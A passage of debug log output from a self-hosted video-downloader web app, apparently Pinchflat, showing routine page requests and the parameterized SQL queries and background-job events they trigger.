m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:33:55.404 [info] Sent 200 in 7ms 06:33:55.644 [info] GET /sources/31/media/141080 06:33:55.644 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141080", "source_id" => "31"} Pipelines: [:browser] 06:33:55.645 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=242.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141080] 06:33:55.647 [debug] QUERY OK source="tasks" db=0.4ms queue=0.1ms idle=244.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141080] 06:33:55.647 [debug] QUERY OK source="sources" db=0.8ms idle=243.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:33:55.648 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=244.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7248] 06:33:55.649 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=14.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:33:55.650 [debug] QUERY OK source="settings" db=0.3ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:33:55.650 [debug] QUERY OK source="settings" db=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:33:55.651 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:33:55.652 [info] Sent 200 in 8ms 06:34:00.045 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:34:01.760 [info] GET /sources/31/media/141299 06:34:01.760 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141299", "source_id" => "31"} Pipelines: [:browser] 06:34:01.762 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=130.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141299] 06:34:01.763 [debug] QUERY OK source="tasks" db=0.4ms idle=132.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141299] 06:34:01.764 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=132.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:34:01.764 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=134.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7264] 06:34:01.765 [debug] QUERY OK source="settings" db=0.0ms idle=117.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:34:01.765 [debug] QUERY OK source="settings" db=0.0ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:34:01.765 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:34:01.766 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:34:01.767 [info] Sent 200 in 7ms 06:34:06.245 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:15.335 [info] GET /settings 06:34:15.335 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 06:34:15.336 [debug] QUERY OK source="settings" db=0.4ms queue=0.2ms idle=1705.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:34:15.338 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1706.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:34:15.339 [debug] QUERY OK source="settings" db=0.4ms idle=1707.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:34:15.340 [debug] QUERY OK source="settings" db=0.3ms idle=1661.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:34:15.341 [info] Sent 200 in 6ms 06:34:18.242 [info] GET /sources 06:34:18.243 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 06:34:18.244 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1612.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:34:18.245 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1613.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:34:18.246 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1615.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:34:18.248 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1561.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:34:18.249 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=561.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:34:18.251 [debug] QUERY OK source="sources" db=1.9ms idle=5.1ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 06:34:18.254 [debug] QUERY OK source="sources" db=2.8ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 06:34:18.256 [info] Sent 200 in 13ms 06:34:31.590 [info] GET /app_info 06:34:31.591 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 06:34:31.592 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1957.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:34:31.593 [debug] QUERY OK source="settings" db=0.4ms idle=1957.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:34:31.594 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=1959.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:34:31.596 [debug] QUERY OK source="settings" db=0.2ms idle=1895.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:34:31.596 [debug] QUERY OK source="settings" db=0.3ms idle=894.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:34:31.597 [info] Sent 200 in 6ms 06:34:36.248 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:43.042 [info] GET /media_profiles 06:34:43.042 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 06:34:43.043 [debug] QUERY OK source="media_profiles" db=0.7ms idle=1325.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 06:34:43.044 [debug] QUERY OK source="settings" db=0.3ms idle=408.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:34:43.045 [debug] QUERY OK source="settings" db=0.3ms idle=409.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:34:43.046 [debug] QUERY OK source="settings" db=0.2ms idle=410.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:34:43.047 [info] Sent 200 in 5ms 06:35:00.047 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:35:00.191 [info] GET /sources/30 06:35:00.191 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "30"} Pipelines: [:browser] 06:35:00.193 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1556.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:35:00.194 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=1557.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:35:00.195 [debug] QUERY OK source="tasks" db=0.8ms queue=0.1ms idle=1446.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [30, "executing", "available", "scheduled", "retryable"] 06:35:00.196 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=445.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7280] 06:35:00.196 [debug] QUERY OK source="settings" db=0.0ms idle=149.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:35:00.196 [debug] QUERY OK source="settings" db=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:35:00.197 [debug] QUERY OK source="settings" db=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:35:00.198 [debug] QUERY OK source="sources" db=0.0ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:35:00.199 [debug] QUERY OK source="media_items" db=0.6ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 06:35:00.200 [debug] QUERY OK source="media_items" db=0.9ms idle=2.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 06:35:00.200 [debug] QUERY OK source="sources" db=0.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", 